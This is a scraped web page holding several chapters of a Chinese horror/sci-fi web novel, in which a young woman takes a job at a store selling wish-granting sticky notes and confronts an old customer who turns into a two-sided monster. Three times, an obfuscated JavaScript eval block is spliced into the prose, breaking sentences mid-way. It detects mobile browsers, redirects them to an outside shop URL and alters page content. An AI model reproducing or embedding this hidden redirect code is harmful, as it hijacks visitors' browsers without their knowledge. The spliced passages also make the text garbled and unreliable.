如愿便利店1 前往13层的路上，温刃打开了通讯器，搜索了一下那家便利店。 毕竟都要去面试了，什么都不了解，有点不太好。 【如愿便利店】 屏幕上的资料一条一条地跳出来。 这家便利店创立于十五年前，选址在13层，正好卡在高塔下层的位置，什么人都能来，什么人都够得着。 因为位置的合理性，它算是一家比较畅销的便利店。 店里售卖的东西很杂，食品、日用品、应急工具……什么都有。 食品区摆的那些东西，温刃扫了一眼名字，基本上都不认识。 什么“能量凝胶”，“合成星月块”，“营养凝冻”之类的，看起来像是把吃饭这件事简化成了摄入能量的过程。 跟现实世界那些琳琅满目的零食完全不是一个概念。 说实话，温刃有点想吃薯片了。 她忍住了嘴馋的感觉，继续往下翻。 【镇店之宝：如愿便利贴】 “镇店之宝？”温刃又一次看到了这个东西。 配图是一张透明的薄膜，薄到几乎看不出厚度。 表面布满了细密的电子芯片纹路，在灯光下泛着淡淡的蓝光。 【据说，只要在便利贴上写下愿望，就能实现，不需要任何代价】 【无论愿望有多么离谱，如愿便利贴都一定会实现】 温刃皱了皱眉头：“不需要任何代价就能实现愿望？” 她盯着屏幕，总觉得哪里不对劲。 什么叫做不需要任何代价就能实现？ 如果她写“希望所有丧诡消失”，这东西也能实现这种愿望？ 这也太假了吧。 怎么听都像是店里用来吸引顾客的噱头。 这东西要是真那么厉害，估计早就被高塔的高层管控起来了。 所以这东西很大概率是假的，是唬人的。 她摇了摇头，把通讯器收起来。 这次过来的目的不是这个。 她是来找那个叫曾豪的员工，是为了找到压制变异的寿衣。 至于什么便利贴，最好不要碰，这种东西听着就诡异。 她想好了计划，到时候直接假装应聘，混进店里，接触一下曾豪，问清楚那件寿衣的来历。 因为这样的话，以员工的身份接近，曾豪应该会放松警惕。 立方体停了下来。 13层，这里比上层的建筑多了不少，而且房子更多，更加拥挤。 温刃从立方体上走下来，抬头就看到了那家店。 如愿便利店。 霓虹招牌挂在门头上，几个字歪歪扭扭地亮着，像是用了很多年都没换过。 “愿”字的笔画有些接触不良，忽明忽暗的，像在眨眼睛，有时候只能看到下面的那个“心”字。 店门是感应门，是一个圆形的漩涡，门页分成几瓣，旋转着打开，像某种机械花瓣在绽放。 温刃在现实世界没见过这种门，站在门口愣了一下，然后才走了进去。 “欢迎光临。” 红外感应触发了自动语音。 温刃走进店里。 左手边是收银台。 台面是半透明的，泛着淡淡的蓝光，能看到底下有数字在跳动。 收银台后面坐着一个员工。 他趴在那里，脑袋枕在胳膊上，一动不动。 温刃走近了几步，才听到他发出均匀的呼吸声。 这人居然在睡觉。 大白天就在摸鱼。 看样子老板应该不在这里，否则这个员工不会这么大胆。 那个员工黑眼圈很重，眼袋快垂到颧骨了。 他头发乱糟糟的，身上的员工服皱皱巴巴的，整个人看起来像是连续值了好几天班没合眼。 他和那个曾豪的状态很像。 萎靡，疲惫，像是被什么东西抽干了精神的样子。 “欢迎光临。” 自动语音又响了一遍。 那个员工哗啦一下坐了起来。 “嗯，嗯嗯？怎么了？”他迷迷糊糊地四处看，眼睛还没完全睁开，嘴巴已经先动了。 看到温刃站在收银台前，他愣了一下，然后使劲眨了眨眼，努力让自己看起来精神一点。 温刃被他突然弹起来的动作吓了一跳，但脸上没有表现出来。 她的脑子里在转着别的事情。 为什么这个员工跟曾豪的状态一样？都是那种十分萎靡的样子。 难道这个店一直在压榨员工？ 怪不得他大白天还在休息…… 这个老板不会让员工二十四小时都工作吧？ 不行。 得赶紧伪装好，假装入职，套套信息就跑。 绝对不能被这种坏老板压榨。 那个员工从收银台后面走了出来，露出一个略显勉强的笑容：“欢迎光临！你是过来买东西的，还是……” 他上下打量了温刃一眼。 温刃张了张嘴，还没来得及说话，那个员工就皱起了眉头。 “你该不会是别的店过来打探消息的吧，别人过来买东西可不会站在原地不动弹，”他的语气变得警惕起来，“你这种同行我是不接受的。” “如愿便利店有很多竞争对手，我们的核心机密你可拿不到手。” 温刃急忙摆手：“不是不是，我是过来应聘的！我想成为员工……就是不知道怎么开口。” 她扫了一眼店里，没有看到那个电视广告里的员工牌，也没有看到曾豪。 这里怎么只有一个员工？ 难道曾豪已经下班了？ 温刃感觉现在并不适合直接问曾豪的事情，还是得先假装入职，混熟了再打探消息。 毕竟，面前这位员工看起来太警惕了。 那个员工的眉头舒展开了，脸上露出一种“原来如此”的表情。 “哦，原来是这样啊，最近老板不在这里，我就负责店里的经营，”他拍了拍自己的胸口，语气里带着点得意，“剩下的事情就交给我吧。” 他转身从收银台下面抽出一张表格，递过来。 “你要入职就快点入职吧，直接签合同，签完立马就能上班了，刚好店里缺人手。” 这么草率吗？ 温刃摆摆手：“不能这样的，我得先……考察一下吧，你不得考察一下？万一我是竞争对手派来的人呢？” 这要是入职了签了合同，想走还不一定走得了呢。 她又不傻。 这次过来只是打探消息的，又不一定要长久留在这里。 万一这合同有问题呢？ 如果是阴阳合同什么的，签了就完蛋了。 那个员工歪了歪头，想了想：“好吧好吧，那你先入职？我先考察一下，不过你得换上员工服，这个是必须做的。” 他从柜台下面拿出一件叠好的衣服，展开。 是一件员工服，是深蓝色的面料，领口和袖口有银色的反光条，胸口绣着“如愿便利店”的字样。 布料摸起来很滑，像是某种合成纤维。 “换上吧，”那个员工慢悠悠地说，声音里满是疲惫，“衣服直接穿在外面就行。” 温刃接过来，套在了身上，就是稍微宽松了一些。 那个员工看着她换好衣服，脸上露出一种欣慰的表情：“哎呀，终于来人了，之前我一个人，有时候店里有促销活动，买的人还挺多的，我还顾不过来呢，有人来帮我就好了。” 温刃皱眉，一个人？ 那曾豪呢？ 还是说，这个人就是曾豪？ 可温刃看了过去，面前的员工眼睛里并没有痣，他不是曾豪。 温刃抿了抿唇，那现在该怎么办？她总不能半道跑了吧？ 还是先入职，毕竟在电视上看到了曾豪的消息，他就一定跟这家便利店有关系。 先留下来混熟，再问想问的问题吧。 这个员工拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她忽然觉得有点毛骨悚然。 为什么要用机器重温快乐？ 而不是自己去创造快乐？ 这就是这个世界的普通人，用来维持幸福的东西吗？ 张涛还在说：“第三条，时刻关注仓库的货物整理，有没有出问题。” 他指了指店后面的一扇门。 “后面是仓库，放着所有的东西，老板很久才会回来一次，说起来，咱们仓库还挺大的，占了两个店铺的大小。” “哦，对了，这附近没啥超市，大家买东西都会来这，仓库的货一定要理清楚，缺了什么要及时告诉老板补货，要不然顾客来了买不到东西，投诉到老板那里，咱们都得扣钱。” 说到扣钱，他沮丧了不少：“我之前就被扣钱了，唉，你一定要小心。” 温刃连忙点头：“放心吧，我的脑子很好使。” 张涛点点头：“看你的样子，应该挺聪明的，这一点我放心，但是，我有件事情必须说。” 那张原本就萎靡的脸，像是被什么东西压得更低了一些，他的声音也变低了，低到温刃几乎要凑过去才能听清。 “第四条，也是最最重要的一条。” “那就是有关于我们店里最火爆的产品，如愿便利贴。” “这个便利贴……” 就在这时。 收银台后面的屏幕闪了一下，自动语音忽然又响了起来。 “欢迎光临！” 张涛慢慢转过了头，看向门口的方向。 温刃顺着他的视线看过去。 门是关着的。 门外什么都没有。 “欢迎光临！” 自动语音还在回荡，声音在空荡荡的店里飘来飘去，迟迟没有消散。 张涛声音幽幽：“你看到门口有人吗？” 温刃站在收银台前，什么也没看到，于是摇了摇头：“没有人啊。” 张涛皱起眉头：“可是，这个语音是检测到有生命体才会播报啊……” 28. 如愿便利店2 温刃还没来得及从刚才那股凉意中回过神，门口又传来了声音。 “咳咳咳，没有人吗？” 是一个老太太的声音，很慢，带着点沙哑，像是嗓子里含了沙子，她在咳嗽，说话也慢吞吞的。 温刃和张涛同时往门口看去。 货架太高了，挡住了视线，然后一个佝偻的身影慢慢从货架后面挪了出来。 是一个老太太，她不知道什么时候已经走进了店里，所以他们向门口看去才没有看到人。 她头发早已银白，脸上布满了皱纹，带着一个呼吸面罩，但皮肤有一种不自然的平滑感，像是做过某种未来科技的抗衰老处理。 她穿着一件深灰色的外套，款式很简洁，没有多余的装饰。 她的身体两侧有两副轻型的银色外骨骼从腰部延伸到腿部，紧紧地贴着她的身体轮廓，发出细微的嗡嗡声。 每走一步，外骨骼的关节处就会亮起一道蓝色的光，然后缓缓暗下去。 那些机械结构在辅助她走路，帮她撑起那些已经老去的肌肉和骨骼。 温刃松了一口气。 是人就好。 这个张涛一惊一乍的，她还以为这地方有丧诡出现，已经做好了使用异能的准备。 张涛也松了口气：“哎呀，刚才光顾着跟你说话，我都没注意到有人来了……” “两位啊，”老人笑了笑，“我是来买东西的，我有点看不清了，你们能帮我找一下我想要的东西吗？” 张涛脸上露出微笑，虽然黑眼圈还在，但整个人像是突然活过来了一样。 他转向温刃，压低声音说：“哎，小温，终于来客人了！太好了！” “你知道咱们的基础工资吗，刚才忘给你提了，光在说规则了，咱们基础工资呢，一个月也就五千，但是有提成！每来一个客人，卖出去东西，我们有百分之五的提成。” 温刃：这工资怎么这么高？ 她之前在现实世界找工作，都是三千，那个世界就是一个巨大的三千。 没想到这里一个便利店的基础工资都有五千了。 她还没想完，店里忽然响起了“滴滴滴”的声音。 是从仓库方向传来的。 张涛不好意思地笑了一下：“小温，后面货物又有点堆积了。” “咱们这个传送带系统有时候会出故障，老板还没来得及换。” “一出故障就会报警，需要咱们手动去整理。” 他看了一眼温刃，又看了一眼仓库的门。 “你对仓库也不太熟悉，那我去整理吧，这一单的提成就交给你了。” 他对温刃眨了眨眼。 “如果这个客人要什么东西，你就拿好了给她，然后放到结账台那边结账就行，会自动扣款，都比较简单。” “唯独有一些比较特殊的客人需要咱们来拿东西的，刚才我已经给你介绍过大致的方位了，每个货物大概在哪个区，你跟着寻找就行了。” 温刃点了点头：“好，你去忙吧。” 张涛点了点头，把老人家搀扶到了座位上：“老人家，您慢点，先坐下来吧。” 做完这一切后，他快步走进了仓库。 温刃转向那个老太太，尽量让自己的声音听起来温和一些：“客人，您需要什么呢？” 老太太站在那里，脸上的表情有些忧愁。 她沉默了一会儿，像是在犹豫什么。 她的手指微微颤抖着，在外骨骼的辅助下慢慢抬起，摸了摸自己的下巴。 “我想要那个，那叫什么来着？可以实现愿望的那个便利贴。” 温刃愣了一下。 如愿便利贴？ 刚才张涛正说到这个就停了，没说这个便利贴究竟放在哪里。 这种镇店之宝应该不是跟其他东西放在一起吧？ 温刃本来想去仓库门口问问张涛，可她发现这门打不开，她在外面喊了几声，张涛也听不到。 看来只能依靠她自己了。 “那您等等我，我来找一找。”温刃说。 她想了想，这东西听起来像是日用品，可能放在日用品区吧。 她走过去，在日用品区的架子上翻了一遍，结果根本没找到。 温刃有些纳闷了。 这玩意儿到底放在哪了？ “按理说，便利贴不应该放在日用品或者文具区吗？” 等等，这个便利贴毕竟是店里的镇店之宝，据说是可以实现愿望的，有点类似于那种祈福的东西。 那既然是比较重要的东西，可能就是放在一个比较特殊的地方。 她走回收银台，在那个员工平时坐的地方翻了翻。 抽屉里有一沓票据，几支笔，还有一个旧水杯。 然后她看到旁边有一个小盒子，大概巴掌大小。 “难道是在这里面？”温刃将那东西打开，里面躺着四张便利贴。 它和广告里描述的一模一样，透明的，薄如蝉翼，表面有细密的电子芯片纹路，在灯光下泛着淡淡的蓝光。 只剩下四页了。 看这样子，应该不是一摞一摞买的，这玩意是单卖的。 但是，这个便利贴跟从通讯器看到的不太一样。 似乎……现实中看到的它，更为漂亮。 它薄如蝉翼，透明又带有某种高科技一般的蓝色丝线，好想把它抓在手里，写下愿望…… 这样，就能如愿了…… 温刃不知道为何，在看到便利贴的刹那，她有种极致的渴求，想要把便利贴攥在手里，写下自己的愿望。 可……她又有什么想实现的愿望呢？ 她想要获得寿衣，获得曾豪身上那件寿衣，这样就可以压制变异。 不，她可以直接许下压制变异的愿望…… 温刃突然发现自己变得很奇怪，她看着那漂亮的便利贴，缓缓伸出手。 不，不行。 这东西说不定是假的，她经过正统教育，才不会被这种东西蛊惑。 温刃很快压制了心底对如愿便利贴的那种渴求。 她拿起最上面那张便利贴，转身递给老太太：“是这个便利贴吧？我给您找着了，我给您结账吧。” 她把便利贴放到结账区域，半透明的台面上立刻跳出了一行数字。 2000。 一张便利贴，两千块？ 这是不是有点坑人了？ 说实话，温刃有点怀疑这玩意的真实性了，难道这便利贴是真的，它这能实现愿望？ 老太太的眼睛亮了起来：“太好了，太好了……终于能实现我的愿望了……” 她喃喃地说了一句：“老伴啊，我可能终于要见到你啦。” 温刃这边却愣住了，她看了一眼结账屏幕上的选项。 引导顾客的人是谁？ 她发现自己的名字还没录入系统，选项里只有那个店员的名字。 也就是张涛。 她选了张涛，上面显示有百分之五的提成，两千的百分之五，也就是一百块。 就这么一会儿，一百块到手了。 温刃：真的有点羡慕了。 这真赚钱啊。 如果不是要找曾豪，她真的有点心动，想留在这里了。 怪不得这个便利店生意这么好，还能买广告。 原来都是依靠便利贴来赚钱。 老太太倒是一点都不觉得贵。 她伸出那双布满皱纹的手，小心翼翼地接过便利贴，像是接过什么稀世珍宝。 “谢谢你啊，小姑娘。”她说。 “没事没事。”温刃说。 老太太捧着那张便利贴，她看着便利贴，眼中居然迸发出一种强烈地渴望：“我早就听闻，这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516345|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里的便利贴非常有用，能让人如愿以偿。” “据说，很多人拿它写下的愿望，全都无一例外实现，我希望也能实现自己的愿望……” 温刃问了一句：“那您的愿望是什么呢？” 老太太笑了一声，那个笑容很温柔，让她看起来都没有那么苍老了。 “我的老伴儿啊，”她说，“年纪太大了，已经先离我而去了，我们两个陪伴了很久很久……他去世很多年了。” 她低下头，看着手里的便利贴，眼中渴求之意更甚。 “我终于攒够了钱，想要买下这个便利贴，去见他一面。” 她顿了顿。 “我没有家人，我和他，是从小到大在孤儿院相依为命的。” 温刃看着那张满是皱纹的脸，轻声说：“你们关系真好呢。” 老太太特别温柔地笑了：“是啊，他对我特别好，他赚了很多很多钱，一直在养我，甚至年轻的时候打工供我上学。” “我的左眼，是他给我的，我其实一直是因为盲人，从出生起不知道这个世界是什么样子的，不知道高塔有多高，甚至连丧诡是什么样子都不知道。” “当时机械义眼的技术还不太发达，他给了我一只眼睛，让我能看到这个世界。”老太太指了指自己的左眼，那只眼睛是绿色的，很漂亮很漂亮。 “我本来跟他说好了，等技术发达了，我们一直装上新的眼睛，一起用两只眼睛去看这个世界……” “可他却没有等到那个时候。” “只可惜，好人的命并不长久，他被一家书店倒下的书架砸死了。” “现在，我也在努力赚钱，终于攒够钱买下这个便利贴了……” 她的眼睛有些湿润。 “我真的很希望能见到他。” 温刃不知道该说什么。 她转身想去找一支笔，总得有个东西写吧，便利贴又没有自带笔。 但老太太已经抬起了手。 她用自己苍老的手指，在便利贴的表面开始画。 那些透明的薄膜上，随着她手指的移动，出现了一道一道蓝色的光痕。 温刃停下动作，看样子这东西不用笔墨就能写东西，确实是高科技。 老太太的手似乎有些抖，不知道究竟是激动，还是年纪大了。 【我想见到老伴，想再见他一面】 写完了，她把便利贴捧在手里，走到店里的休息区，那里靠墙有一排小椅子，是给顾客坐的。 她慢慢地坐下去，外骨骼发出轻轻的“咔嗒”声，帮她稳住身体。 老太太看向温刃：“小姑娘，谢谢你，我就在这里等吧，其实……我时日无多了。” “其实我很早就攒下了那笔钱，我早就知道了便利店的事情，可我不确定真假，我知道让死人复生是太遥远的事情……” “所以，我知道，这便利贴肯定是有了某种高科技技术。” “但现在我老了，我的尘埃病太严重了，因为住在低层，下面垃圾处理厂的灰尘总是会飘上来，我们家没有那么多钱治愈我，我就想着，拿出最后一部分钱，见见我最想见的人，那样，我也许在死亡的时候，才不会遗憾吧。” “小姑娘，你说，我能见到我的老伴吗？”老人咳嗽着，血顺着她嘴角滴落，顺着呼吸器一点点落在她身边的血袋子里。 温刃站在收银台后面，不由有些触动：“会的。” 她看着那个老太太，突然想到了一句话，“吊着一口气”。 她感觉这位老太太一直吊着一口气，让她想要见到老伴，也许了却这份愿望之后，她才会真正心安离开这个世界，陷入安眠。 突然。 温刃听到了一阵声音。 咔嚓…… 嘎吱…… 那声音有些奇怪，像是骨骼在扭曲，折叠，快速生长发出来的声音一样。 29. 如愿便利店3 温刃正在收银台后面摸鱼，听到老太太的声音从休息区传来。 “小姑娘呀……你能过来吗？” 那声音弱弱的，带着些怕被人拒绝的怯意。 温刃抬起头。 老太太还坐在那排椅子上，外骨骼的蓝光一明一暗地闪烁着，映得她那张布满皱纹的脸忽明忽暗。 她朝温刃招了招手：“能帮我拿瓶水吗？我有点口渴了。” 温刃走过去：“好的，您要什么样的水？” “普通的就行，什么都可以，拿两瓶。”老人说道。 温刃走到饮品区，拿了一瓶标着“纯净水”的透明瓶子。 瓶盖是特制的，还是方形的，温刃一时间看起来还有些不适应。 她把水拿到收银台，扫了一下。 老太太从口袋里掏出一个方形的通讯器，递过来。 她举着通讯器的手抖得厉害，通讯器在她掌心里晃晃悠悠的：“姑娘，拿过去结账吧，放心，我是不会让你出钱的。” 温刃接过来付钱后，就把通讯器还给老太太，把水瓶递过去。 老太太接水瓶的时候，手指还是抖的。 她握着瓶子，尝试了好几次都没能对准感应区，瓶盖纹丝不动。 她抬起头，露出一个有些不好意思的笑容：“谢谢你啊，小姑娘，不过我好像没什么力气来打开这个瓶盖了……你能帮我打开吗？” 她的手确实在发抖，不只是手指，整个手掌都在微微颤动。 温刃把瓶盖拧松了一些，但没有完全取下来，方便老太太喝的时候不容易洒：“给您。” 老太太伸出手来接，偏偏就在此时，她的手抖了一下。 整瓶水从她手里滑落，瓶口朝下，正好砸在温刃的右手腕上。 水哗地一下泼了出来，顺着温刃的手腕往下淌，把幸福手环浇了个透湿。 “哎呀，”老太太一脸不知所措，“对不起对不起！我手太抖了，抱歉啊小姑娘，我不是故意的……” 她手忙脚乱地伸出手，手指笨拙地去够温刃的手腕。 那布满皱纹的手指在温刃的手环上摸索了好几下，才找到了卡扣的位置。 “我帮你解下来擦擦。”咔哒一声，手环被解开了。 老太太把手环放在自己的衣服上反复地擦。 “真的非常抱歉，”她一边擦一边说，声音里满是歉意，“我这个人就是这样，手不听使唤……以前也是这样，总是手忙脚乱的……” 她擦了好一会儿，确认手环表面没有水渍了，才小心翼翼地帮温刃重新戴上。 “没事没事，”温刃说，“没关系的。” 说起来，她想到爷爷奶奶了，她的爷爷奶奶老的时候也总是这样，不过他们早就去世了。 温刃只可惜，没有多陪陪老人。 老太太把新的那瓶还没来得及打开的水递给温刃：“小姑娘，这瓶水给你吧，这是你给我的报酬呀，这次真的多谢你了。” 温刃接过水瓶，放在收银台上。 老太太似乎松了一口气，靠在椅背上，目光变得有些遥远，像是在看很远很远的地方。 “当时啊，我也总是这样手忙脚乱的，但是我的老伴呢，总是帮助我，帮我处理很多事情。” “有一次我也是打翻了东西，落在他身上，不过那次不是水，是滚烫的汤，他替我挡下了那盘汤，胳膊上烫了好大一块，好长时间才养好，但可惜还是在胳膊上留下了疤……” 她在自己的右臂上摸了摸。 “他啊，总是这样，有什么事情都挡在我前面，我倒是好好的，一点伤都没有……” “小姑娘，你说，如愿便利贴的事情到底是真是假，我真的，能见到我老伴吗？” 温刃站在旁边，安静地听着。 老太太的声音越来越轻，最后变成了一种近乎呢喃的低语。 温刃没有打扰她，转身回到了收银台后面。 店里又安静了下来。 那个叫张涛的店员还在仓库里，不知道多久才能忙完，温刃还等着他说如愿便利贴的事情。 不过，她更想调查曾豪的事情。 老太太靠在椅子上，似乎睡着了，又似乎只是在闭目养神。 温刃百无聊赖地坐着，目光落在监控屏幕上。 屏幕上分成了几个格子，分别显示着店里的不同区域。 她的目光停在了休息区的那一格。 老太太坐在椅子上，她的袖子卷起来了一截，大概是之前擦水的时候卷上去的，一直没有放下来。 露出来的那一截小臂上，有一片暗色的、皱巴巴的皮肤。 那烧伤的痕迹。 温刃盯着那片痕迹，忽然觉得有什么地方不对。 老太太刚才说，那盘滚烫的汤，是她的老伴替她挡下的。 她说自己好好的，一点伤都没有。 那她胳膊上那片烧伤的痕迹，又是从哪里来的？ 不，那是很多年前留下的伤。 那不应该出现在老太太的胳膊上。 除非是那样…… 温刃想到了那个便利贴。 那个据说可以实现任何愿望，不需要付出任何代价的便利贴。 老太太的愿望是见到老伴。 “见到”这个词，有没有另一种解释呢？ 如果“见到”的方式，不是老太太见到了老伴，而是……老太太变成了老伴呢？ 如果，她的右半边身体，正在一点一点地变成她老伴的样子呢？ 那她胳膊上的烧伤痕迹，就有了一个合理的解释。 那不是老太太的伤，那是她老伴的伤。 那块皮肤，正在变成她老伴的皮肤。 老太太的另一半身子，正在变成她老伴的样子…… 温刃盯着监控屏幕，老太太的影像安安静静地坐在那里，从监控里看不出任何异常。 她的脸还是那张温柔的老太太的脸，她的头发还是扎在脑后，她的身体还是那副佝偻的模样。 到底哪里出问题了？ 难道是她想多了？ 其实老太太后来又受伤了，只是她并没有说出来？ 毕竟，她的老伴早早去事，已经没有人能为她再挡下滚烫的肉汤了。 就在这时，温刃似乎听到了一些奇怪的声音。 咔嚓。 这声音有点像是骨骼错位的声音。 咔嚓。 又一声。 这声音还是从老太太的方向传来的。 温刃以为是错觉，竖起耳朵仔细去听，那个声音没有再出现。 店里却已经恢复了安静，什么声音都没有传出来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518566|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她忽然想起了一件事。 如果这个便利贴真的能把愿望实现到这种扭曲的程度，那她之前看到的那个广告，那些宣传语，说什么“不需要付出任何代价”，全都是骗人的。 实现愿望是有代价的。 只是，没人知道那个代价究竟是什么。 温刃觉得后背一阵一阵发凉。 还好她刚才没有贸然拿那个便利贴来许愿。 还好她只是帮老太太拿了一张。 不行，她必须试探一下。 万一老太太因为便利贴的愿望而产生某种变异呢？ 如果老太太的另一半身子真的变成了她老伴，那就说明老太太已经不是人了，而是……丧诡。 她现在还不能让事情出太大的岔子。 店员还没有从仓库里出来，她还没有打听到曾豪的消息。 得先确认这个老太太到底是什么状况，然后再决定下一步怎么办。 温刃还记得，之前在现实世界，那个保安的能力就是制造幻觉，万一老太太已经产生了变异，但只是用某种制造幻觉的能力掩盖住了呢？ 那就说明，刚才听到的那种骨骼错位声，可能是真的，老太太或许已经产生变异了。 温刃从收银台后面走出来，朝老太太走过去：“老人家我看您好像有些不太舒服，手有点发抖，要不我给您按摩一下？” “太阳穴这块有个穴位，按一按能缓解疲劳。” 老太太愣了一下，然后一脸感激，甚至有些兴奋：“哎呀，小姑娘，你真是太贴心了……” 她的声音有些哽咽：“真的，你对我太好了。我这把老骨头，已经很久没有人这么关心过了……你看看你，帮我买水，帮我拧瓶盖，现在还要帮我按摩……你真是个好人啊，小姑娘，真的谢谢你，谢谢你……” “我，我想到我老伴了，他也一直对我这么好……” 温刃走到老太太身后，手指放到老太太的头发里，开始轻轻地按压太阳穴上方的位置。 可…… 老太太的头发是扎起来放在脑后的，从前面看，是一头灰白色的长发，梳理得很整齐。 温刃的左手按在老太太的左半边头上，手指触到的是柔软顺滑的长发。 她的右手按在老太太的右半边头上。 可这里，触感却不一样。 右手摸到的头发更短，更硬，扎扎的，像是刚剪过不久的短发。 准确来说，这种手感更像是男人的头发，更像是板寸的触感。 可肉眼看去，老太太的头发明明是长发啊。 温刃的头皮开始发麻。 一个人的头上，怎么会有两种不同的头发？ 除非那根本就不是一个人的头。 除非，她另一半的头，已经完全变了模样。 而这一切，只是被幻境笼罩，让人看不出异常罢了。 也许，老太太那张脸在一点一点地变成另一个人的样子。 变成那个她最想见到的人，变成她的老伴。 温刃的手指还在老太太的头上，她的右手继续在那个位置按揉，手指不敢移动，怕惊动什么。 她不知道，在她看不到的角度，在那些灰白色头发的遮挡下，老太太的嘴角正在缓缓向上弯起。 她在笑。 她在诡异如同丧诡一般笑。 30. 如愿便利店4 一半是男人，一半是女人。 从中间划分开，一半是老头，一半是老太太。 这样的人，还能称作为人吗？ 如果在现实世界，她或许会觉得这是一种特殊的存在，甚至可能会被某些疯狂的科学家视为有价值的研究对象。 但在这个世界，在高塔世界里，这样的存在只有一个名字。 那就是丧诡！ 温刃不动声色地站在老太太身后，手指还停留在她的头发上。 侵蚀。 她现在已经确认了老太太丧诡的身份，下一步就是超度，所以温刃直接使用了能力。 老太太发出一声尖叫，她的声音男女混合，诡异至极：“好痛，好痛啊！” 温刃的手已经伸了出去，就在她即将碰到眉心的核心时，突然察觉到了自身的异常。 她的右手，不，不只是右手。 她的整个右半边身子，忽然变得不听使唤了。 那种感觉很奇怪，像是有什么东西从外部侵入了她的身体，在抢夺她右半边身子的控制权。 她的右手停在了半空中，手指僵直，无法再向前一厘米。 她的右腿开始发软，膝盖弯曲，在被某个未知的东西控制后，整个人的重心向□□斜。 不仅如此，她的右半边身体正在以一种不可思议的速度衰老，皮肤上甚至浮现出褐色的老年斑。 而且，她骨骼在变形，连脊柱都在向右弯曲，让她半边身子佝偻下去。 温刃低头看向自己的右手。 那只手已经不是她的手了，皮肤松弛，青筋暴起，指甲发黄。 那是一双老人的手，一双属于七八十岁老太太的手。 她的右半边脸也感觉到了变化，就连视线也老化了。 “这到底是怎么回事？”温刃开口，声音里却混了一道老年人的声音。 她这才听到自己的声音。 左边是她的声音，右边是另一个老人的声音，两个声音叠在一起，诡异无比。 面前那个真正的老太太，正缓缓地站起身来。 她的外骨骼已经不再发出蓝光了，那些银色的机械框架从她的腿上脱落，叮叮当当地掉在地上。 她的身体在拔高，之前听到的那种骨骼声响，就是从她身上发出来的。 “终于啊，”她说，声音是男女混合的，老妇人的沙哑和老头的低沉叠在一起，像是有两个人在同时说话，“终于，你也变成这个样子了。” 温刃感觉很不对劲。 到底是什么时候？ 她是什么时候中招的？ 她没有使用便利贴，没有许下任何愿望，不可能是因为愿望的扭曲导致她变成了这个样子。 那就只有一个可能，这是这个老太太的能力，是这个丧诡的能力。 这个能力也太超标了吧，居然能让人的一半直接失去控制…… 温刃想要去抓那颗从老太太眉心露出来的晶核，但她的右手不听使唤。 那只苍老的手，紧紧地抓住了她自己的左手，限制了她的行动。 “这到底是怎么回事？”温刃的左半边脸开口。 “嘻嘻嘻……”她的右半边脸在笑，老太太的笑声在从她自己的嘴里发出来，满是得逞的快意。 温刃甚至感觉大脑思考的速度慢了一些。 或者说，是老太太的另一半脑子在阻止她思考。 这个能力太可怕了，甚至能通过另一半的脑子，直接影响到她的思维。 但温刃没办法，她必须知道老太太的能力究竟是怎么回事，如果她仅剩的另一半也被控制…… 那她将不复存在。 她开始回想这个老太太从出现到现在的每一个细节。 这个老太太既然从许愿之后，已经变成丧诡，为什么不直接攻击她？ 她为什么要做出那些奇怪的举动，卷起袖子露出烧伤的痕迹，故意露出破绽？ 既然引起了怀疑，为什么又要给脸部施加一层幻境，让温刃第一眼看不出异常？ 除非……那些幻境，是故意让温刃看到的。 不对。 温刃否定了这个想法。 幻境如果是故意让她看到的，那为什么又要露出胳膊上的烧伤痕迹？ 等等。 老太太在故意露出破绽，让她产生怀疑，怀疑被幻境隐藏的头发。 温刃知道，一旦怀疑产生，她就会主动试探，试探老太太是否出了问题。 而试探这个过程中，就不免会产生接触…… 果然，这一切，从一开始就是个局。 这一切的铺垫，都是老太太的能力发动前提，这样强大到直接影响别人身躯的能力，如果能随意发动，那简直太可怕了。 老太太完全能控制一座塔，甚至控制更强的异能者。 可她并没有这么做，反而把目标放在温刃身上…… 温刃想起了Zero说过的话，丧诡是保留着人类思维的，它们格外聪明。 就像之前在现实世界中，那个保安在得知她的身份之后，一直在做局，想要把她引到实验室里，利用实验体杀死她。 这个老太太，也是在设局，设局发动能力。 只是因为另一半老太太的干扰，温刃想了很久才想到这一点。 “你是故意露出破绽，引我上当的，”温刃的左半边脸开口，“你的能力很强，但使用时需要前置条件，其一，需要我主动接触你，其二，就是需要我识破你的伪装。” 她的右半边脸停止了笑。 温刃左脸继续说道：“这样你就会有一部分入侵到我身上，甚至控制我一半的躯体，这就是你的能力。” 对面的老太太歪起了头，撤去伪装。 从左半边到右半边，一道几乎看不见的细线从额头正中垂直而下，将她的脸分成了两半。 左半边是老太太的，右半边是老头的。 老头的皮肤粗糙暗黄，颧骨高耸，嘴唇薄而干裂。 老太太的皮肤松弛苍白，眼角下垂，脸上还带着笑。 “你好聪明啊。”老太太说。 “真的好聪明。”老头接了一句。 两个声音叠在一起，一唱一和，听起来甚至有些恶心感。 它们的身体开始变化。 咔咔咔咔咔…… 那是骨头在生长，变大，让他们的身躯开始长高，手臂也在变长。 一米八，两米…… 